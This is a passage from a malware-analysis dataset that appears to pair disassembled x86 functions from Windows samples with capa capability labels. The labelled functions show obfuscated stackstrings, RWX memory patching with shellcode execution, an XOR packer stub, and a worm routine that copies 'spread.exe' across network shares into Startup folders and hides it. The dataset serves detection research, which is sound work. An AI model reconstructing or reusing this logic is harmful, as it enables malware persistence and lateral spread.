joyce8/EMBER2024-capa huggingface dataset:
Function at 0x64a81a60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc esi
adc byte [ebx], al
ret
fstp xword [ebx]
ret
test ch, bh
add eax, 0x788b0000
cmp al, 3
clc
movzx eax, word [edi + 0x14]
lea esi, [eax + edi + 0x18]
mov dword [ebp - 0x44], esi
call fcn.64a81869
xchg ebx, eax
js 0x64a81a11
add cl, byte [edi]
mov bh, 0x47
push es
lea eax, [eax + eax*4]
shl eax, 3
sub eax, dword [ebp + 0x10]
add eax, esi
mov dword [ebp - 0xb4], eax
mov dword [ebp - 8], eax
call fcn.64a81869
loopne 0x64a81a5c
pushfd
and ah, byte [esi - 0x75]
inc edi
push es
cmp ax, bx
jbe 0x64a81ac3
lea ecx, [esi + 0xc]
movzx edx, ax
mov eax, dword [ecx + 4]
mov esi, dword [ecx]
add eax, esi
cmp dword [ebp - 8], eax
jae 0x64a81abd
mov dword [ebp - 8], eax
add ecx, 0x28
dec edx
jne 0x64a81aae
mov byte [ebp - 0x58], bl
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], 0x58
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], 0xe0
mov byte [ebp - 0x53], 0xc2
mov byte [ebp - 0x52], 0xd3
mov byte [ebp - 0x51], 0xf4
mov byte [ebp - 0x50], 0xde
mov byte [ebp - 0x4f], 0xd4
mov byte [ebp - 0x4e], 0xd3
mov byte [ebp - 0x4d], 0xc2
mov byte [ebp - 0x4c], 0xca
mov byte [ebp - 0x4b], 0xee
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], 0xc8
mov byte [ebp - 0x47], 0xa7
call fcn.64a81869
in al, 0xd5
jnp 0x64a81b0f
lea eax, [ebp - 0x58]
push eax
call fcn.64a81879
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.64a8182e
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x64a81b57
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.64a81869
xor eax, 0x8d48b6ba
inc ebp
rcl byte [eax - 0x18], 0xc5
cld
invalid
Function at 0x64a81c50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.64a81879
push eax
push esi
push dword [ebp + 8]
call fcn.64a8182e
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
fimul word [ecx - 0x3a]
inc ebp
fistp word [ecx - 0x3a]
inc ebp
loopne 0x64a81d04
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.64a81879
push eax
push esi
push dword [ebp + 8]
call fcn.64a8182e
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.64a81869
jne 0x64a81cb0
stc
mov byte [ebp - 0x84], bl
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0xe9
mov byte [ebp - 0x81], bl
mov byte [ebp - 0x80], 0x51
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x62
mov byte [ebp - 0x7d], 0x5b
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.64a81869
pop ds
cmp dword [0x7c858db6], ebp
invalid

Function at 0x64a81f10
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x64a81f1d
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x64a81f18
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x64a81f02
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x64a81f0a
cmp edx, ebx
jne 0x64a82058
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add al, byte [ebx]
enter 0x4d39, 8
add al, byte [ebx]
enter 0x4d39, 8
jb 0x64a81ed9
add eax, dword [eax + 4]
jmp 0x64a81ec6
mov dword [ebp + 0xc], ebx
jmp 0x64a81f28
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne sym.ac1st17.dll_bool___stdcall_acHeapValidate_void___void_const__
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x64a81f5e
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
invalid

Function at 0x64a81f40
Capabilities:
Inspect section memory permissions

Disassembly:
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
Function at 0x64a82c50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push eax
lea eax, [ebp - 0x394]
push eax
call fcn.64a817da
add esp, 0xc
and dword [ebp - 0x700], 0
jmp 0x64a82c76
mov eax, dword [ebp - 0x700]
inc eax
mov dword [ebp - 0x700], eax
cmp dword [ebp - 0x700], 5
jge 0x64a82cbf
mov eax, dword [ebp - 0x700]
movsx eax, byte [ebp + eax - 0x394]
movsx ecx, byte [ebp - 0x24]
xor eax, ecx
mov ecx, dword [ebp - 0x700]
mov byte [ebp + ecx - 0x394], al
mov eax, dword [ebp - 0x700]
movsx eax, byte [ebp + eax - 0x394]
not eax
mov ecx, dword [ebp - 0x700]
mov byte [ebp + ecx - 0x394], al
jmp 0x64a82c69
call fcn.64a81869
or dword [esi - 8], esp
mov dword [eax - 0x72b5b], eax
inc dword [eax]
and byte [ebp - 0x72b], 0
mov byte [ebp - 0x72a], 0xc2
and byte [ebp - 0x729], 0
mov byte [ebp - 0x728], 0x6b
mov byte [ebp - 0x727], 0x54
mov byte [ebp - 0x726], 0x4f
mov byte [ebp - 0x725], 0x49
Function at 0x64a86590
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x64a88e10
push 0x64a87701
mov eax, dword fs:[0]
push eax
sub esp, 0x44
push ebx
push esi
push edi
mov eax, dword [0x64a8b018]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov esi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x2c], ebx
mov edi, dword [esi + 0x20]
mov dword [ebp - 0x28], edi
push 0x1c
lea eax, [ebp - 0x54]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x24], ecx
lea edx, [ebp - 0x20]
push edx
push 0x40
push 8
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x64a866b6
mov dword [ebp - 4], ebx
mov word [ebp - 0x38], bx
mov dword [ebp - 0x36], ebx
mov word [ebp - 0x32], bx
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
mov dword [ebp - 0x38], ecx
mov edx, dword [eax + 4]
mov dword [ebp - 0x34], edx
push 8
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call edi
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov dword [ebp - 0x1c], ebx
lea esp, [esp]
cmp dword [ebp - 0x1c], 3
jge 0x64a86657
lea eax, [ebp - 0x30]
push eax
push 8
lea ecx, [esi + 4]
push ecx
mov edx, dword [esi + 0x20]
push edx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp eax, ebx
jg 0x64a86657
add dword [ebp - 0x1c], 1
jmp 0x64a86630
push 8
mov eax, dword [esi + 0x20]
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov ecx, dword [ebp - 0x38]
mov dword [esi + 4], ecx
mov edx, dword [ebp - 0x34]
mov dword [esi + 8], edx
xor dword [esi + 0x1c], 1
mov dword [ebp - 4], 0xfffffffe
jmp 0x64a86692
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
push 8
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp dword [ebp - 0x2c], 2
jne 0x64a866b6
add esi, 0x24
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x64a866d0
Capabilities:
Parse pe header

Disassembly:
push ecx
mov eax, dword [edx + 8]
push ebx
xor ebx, ebx
push edi
lea edi, [edx + 0x20]
mov dword [edx], ebx
mov dword [edx + 0xc], ebx
mov dword [edx + 0x10], ebx
mov byte [edx + 5], bl
mov dword [edx + 0x14], ebx
mov dword [edx + 0x18], ebx
mov dword [edx + 0x1c], ebx
mov dword [edi], ebx
mov dword [edx + 0x24], ebx
mov dword [edx + 0x28], ebx
mov dword [edx + 0x2c], ebx
mov dword [edx + 0x30], ebx
movzx ecx, word [eax]
cmp ecx, 0x184
jg 0x64a86724
je 0x64a86717
sub ecx, 0x14c
je 0x64a86717
sub ecx, 0x1a
jne 0x64a86734
pop edi
mov dword [edx + 0xc], eax
mov dword [edx], 1
pop ebx
pop ecx
ret
cmp ecx, 0x1f0
je 0x64a86717
cmp ecx, 0x5a4d
je 0x64a8673e
pop edi
mov dword [edx], 2
pop ebx
pop ecx
ret
mov ecx, dword [eax + 0x3c]
add eax, ecx
mov dword [edx + 0x18], eax
add eax, 4
mov dword [edx + 0xc], eax
mov eax, dword [edx + 0x18]
add eax, 0x18
push esi
mov esi, dword [edx + 0xc]
mov dword [edx + 0x10], eax
cmp word [esi], 0x8664
mov eax, dword [edx + 0x18]
setne cl
mov byte [edx + 5], cl
cmp dword [eax], 0x4550
je 0x64a8677a
mov dword [edx], 4
pop esi
pop edi
pop ebx
pop ecx
ret
movzx ecx, word [esi + 0x10]
lea eax, [ecx + eax + 0x18]
mov dword [edx + 0x14], eax
push edi
xor eax, eax
call fcn.64a868a0
lea ecx, [esp + 0xc]
mov dword [edx + 0x1c], eax
push ecx
mov eax, 1
call fcn.64a868a0
mov dword [edx + 0x2c], eax
lea eax, [esp + 0xc]
push eax
mov eax, 0xd
call fcn.64a868a0
lea ecx, [esp + 0xc]
mov dword [edx + 0x30], eax
push ecx
mov eax, 6
call fcn.64a868a0
cmp eax, ebx
mov dword [edx + 0x24], eax
mov dword [edx + 0x28], eax
je 0x64a867e9
mov ecx, 3
mov eax, dword [edx + 0x28]
cmp dword [eax + 0x10], ebx
je 0x64a867e9
cmp dword [eax + 0xc], ecx
je 0x64a867e9
add eax, 0x1c
cmp eax, ebx
mov dword [edx + 0x28], eax
jne 0x64a867d2
mov eax, dword [edx + 0x28]
cmp eax, ebx
je 0x64a86775
cmp dword [eax + 0x10], ebx
jne 0x64a86775
pop esi
pop edi
mov dword [edx + 0x28], ebx
pop ebx
pop ecx
ret

Function at 0x64a8705a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x64a8b018]
jne 0x64a87064
repz ret
jmp fcn.64a874cf
Function at 0x441c7b
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
lea eax, [ebp - 0x20]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x220]
push edx
push 0
push esi
mov dword [ebp - 4], 0xff
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
cmp eax, 0x103
je 0x441d7f
mov edi, dword [ebp + 0xc]
mov eax, edi
or eax, 0x20019
mov dword [ebp - 0xc], eax
jmp 0x441cce
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 8]
push ecx
push eax
push 0
lea edx, [ebp - 0x220]
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x441d91
mov eax, dword [ebp - 8]
push edi
push eax
call fcn.00441c7b
mov ecx, dword [ebp - 8]
add esp, 8
push ecx
mov bl, al
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test bl, bl
je 0x441d91
lea edx, [ebp - 0x18]
xor ebx, ebx
push edx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x10], ebx
call fcn.00430cb1
test al, al
je 0x441d38
push ebx
push edi
lea eax, [ebp - 0x220]
push eax
push esi
lea ecx, [ebp - 0x18]
push ecx
call fcn.00441c58
call eax
jmp 0x441d46
lea edx, [ebp - 0x220]
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
cmp eax, ebx
jne 0x441d88
lea eax, [ebp - 0x18]
push eax
call fcn.00430ccb
lea ecx, [ebp - 0x20]
push ecx
push ebx
push ebx
push ebx
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x220]
push eax
push ebx
push esi
mov dword [ebp - 4], 0xff
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
cmp eax, 0x103
jne 0x441ccb
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x18]
push ecx
call fcn.00430ccb
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4422fe
Capabilities:
Query remote server for available data
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, 1
push 0
mov dword [ebp + 8], eax
mov dword [ebp + 0xc], eax
push 0
lea eax, [ebp + 0xc]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
cmp dword [ebp + 0xc], 0
jne 0x442331
mov dword [ebp + 0xc], 0x400
cmp dword [ebp + 8], 0
je 0x44238b
lea esp, [esp]
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00431995
add esp, 4
mov edi, eax
mov eax, dword [ebp + 0xc]
lea edx, [ebp + 8]
push edx
push eax
push edi
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4423bb
mov eax, dword [ebp + 8]
test eax, eax
je 0x442382
push eax
push edi
lea ecx, [esi + 0x44]
push ecx
call fcn.00431930
mov eax, dword [ebp + 8]
add dword [esi + 8], eax
adc dword [esi + 0xc], 0
test eax, eax
jne 0x44233e
jmp 0x44238b
push edi
call fcn.004111dc
add esp, 4
mov edx, dword [esi + 8]
or edx, dword [esi + 0xc]
jne 0x4423a8
push edx
push 0xdeadbeef
push 0x21
push esi
call fcn.004422cb
pop edi
pop esi
pop ebx
pop ebp
ret 8
push 1
push 0
push 0
push esi
call fcn.004422cb
pop edi
pop esi
pop ebx
pop ebp
ret 8
push edi
call fcn.004111dc
add esp, 4
push 0
push 0xdeadbeef
push 0x20
push esi
call fcn.004422cb
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..00cfg
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x68f80aa8
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x7d7f37e3
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x402be0
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], 0
push 0
push 0x8000000
push 3
push 0
push 1
push SysReAllocStringLen
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x402c19
xor eax, eax
jmp 0x402c37
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x402c40
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], ecx
push 0
push 0x8000000
push 3
push 0
push 1
push SysReAllocStringLen
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x402c72
xor eax, eax
jmp 0x402cb9
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
push 0
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x402ca1
xor eax, eax
jmp 0x402cb9
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 8]
mov byte [eax], 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret 8

Function at 0x402cc0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x1c], ecx
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x402cf2
xor eax, eax
jmp 0x402d62
mov dword [ebp - 0x14], 0
movzx ecx, byte [ebp + 0x10]
test ecx, ecx
je 0x402d11
push 2
push 0
push 0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 8]
mov al, byte [edx]
mov byte [ebp - 1], al
add dword [ebp - 8], 1
cmp byte [ebp - 1], 0
jne 0x402d20
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 0x18], ecx
push 0
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret 0xc
Function at 0x403550
Capabilities:
Connect network resource
Copy file
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
mov eax, dword [0x75ce68]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x218], ecx
mov byte [ebp - 0x20c], 0
push 0x103
push 0
lea eax, [ebp - 0x20b]
push eax
call fcn.0061cde0
add esp, 0xc
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x706918
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
xor ecx, ecx
mov dword [ebp - 0x23c], ecx
mov dword [ebp - 0x238], ecx
mov dword [ebp - 0x234], ecx
mov dword [ebp - 0x230], ecx
mov dword [ebp - 0x22c], ecx
mov dword [ebp - 0x228], ecx
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x220], ecx
mov dword [ebp - 0x234], 9
mov dword [ebp - 0x23c], 1
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x224], 0x7068dd
mov dword [ebp - 0x22c], 0x706920
mov dword [ebp - 0x220], 0
lea edx, [ebp - 0x20c]
mov dword [ebp - 0x228], edx
mov dword [ebp - 0x21c], 0
push 1
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 0x23c]
push edx
call dword [sym.imp.MPR.dll_WNetAddConnection2A]
test eax, eax
jne 0x40374a
push 0
push 0x706924
push 0x706928
mov ecx, dword [ebp - 0x218]
call fcn.00402cc0
test eax, eax
je 0x403724
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.K:_spread.txt
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov byte [ebp - 0x108], 0
push 0x103
push 0
lea eax, [ebp - 0x107]
push eax
call fcn.0061cde0
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x210], str.K:ProgramDataMicrosoftWindowsStart_MenuProgramsStartUp_spread.exe
mov dword [ebp - 0x214], str.K:UsersAdministratorAppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_spread.exe
push 1
mov edx, dword [ebp - 0x210]
push edx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 1
mov ecx, dword [ebp - 0x214]
push ecx
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x27
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x27
mov ecx, dword [ebp - 0x214]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x7069f0
mov ecx, dword [ebp - 0x218]
call fcn.00403200
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 1
mov edx, dword [ebp - 0x22c]
push edx
call dword [sym.imp.MPR.dll_WNetCancelConnection2A]
mov dword [ebp - 0x21c], 1
mov eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005faac9
mov esp, ebp
pop ebp
ret 0x10
Function at 0x403760
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x540
mov eax, dword [0x75ce68]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x534], ecx
mov dword [ebp - 0x51c], 0
mov dword [ebp - 0x528], 0
mov dword [ebp - 0x530], 0
mov dword [ebp - 0x53c], 0
mov dword [ebp - 0x538], 0
xor eax, eax
mov word [ebp - 0x310], ax
push 0x206
push 0
lea ecx, [ebp - 0x30e]
push ecx
call fcn.0061cde0
add esp, 0xc
mov byte [ebp - 0x108], 0
push 0x103
push 0
lea edx, [ebp - 0x107]
push edx
call fcn.0061cde0
add esp, 0xc
mov dword [ebp - 0x540], 0
xor eax, eax
mov word [ebp - 0x518], ax
push 0x206
push 0
lea ecx, [ebp - 0x516]
push ecx
call fcn.0061cde0
add esp, 0xc
lea edx, [ebp - 0x518]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00402a40
add esp, 8
lea ecx, [ebp - 0x538]
push ecx
lea edx, [ebp - 0x53c]
push edx
lea eax, [ebp - 0x530]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x51c]
push ecx
push 0
lea edx, [ebp - 0x518]
push edx
call dword [sym.imp.NETAPI32.dll_NetShareEnum]
mov dword [ebp - 0x528], eax
cmp dword [ebp - 0x528], 0xea
je 0x40386f
cmp dword [ebp - 0x528], 0
jne 0x4039e5
mov dword [ebp - 0x520], 0
mov eax, dword [ebp - 0x51c]
mov dword [ebp - 0x520], eax
cmp dword [ebp - 0x51c], 0
je 0x4039e5
mov dword [ebp - 0x52c], 0
jmp 0x4038ad
mov ecx, dword [ebp - 0x52c]
add ecx, 1
mov dword [ebp - 0x52c], ecx
mov edx, dword [ebp - 0x52c]
cmp edx, dword [ebp - 0x530]
jae 0x4039c4
push 0x208
push 0
lea eax, [ebp - 0x310]
push eax
call fcn.0061cde0
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x108]
push ecx
call fcn.0061cde0
add esp, 0xc
mov edx, dword [ebp - 0x520]
mov eax, dword [edx]
push eax
push 0x7069f4
lea ecx, [ebp - 0x310]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x310]
push eax
call fcn.00402ae0
add esp, 8
lea ecx, [ebp - 0x108]
push ecx
push 0
push 0
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x534]
call fcn.00403550
test eax, eax
je 0x403943
jmp 0x4039a8
mov dword [ebp - 0x524], 0
jmp 0x40395e
mov eax, dword [ebp - 0x524]
add eax, 1
mov dword [ebp - 0x524], eax
mov ecx, dword [ebp - 0x524]
cmp dword [ecx*4 + 0x75d918], 0
je 0x4039a8
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x108]
push edx
mov eax, dword [ebp - 0x524]
mov ecx, dword [eax*4 + 0x75d918]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x534]
call fcn.00403550
test eax, eax
je 0x4039a6
jmp 0x4039a8
jmp 0x40394f
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x520]
add ecx, 4
mov dword [ebp - 0x520], ecx
jmp 0x40389e
mov edx, dword [ebp - 0x51c]
push edx
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
mov dword [ebp - 0x51c], 0
mov dword [ebp - 0x520], 0
cmp dword [ebp - 0x528], 0xea
je 0x403823
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005faac9
mov esp, ebp
pop ebp
ret 8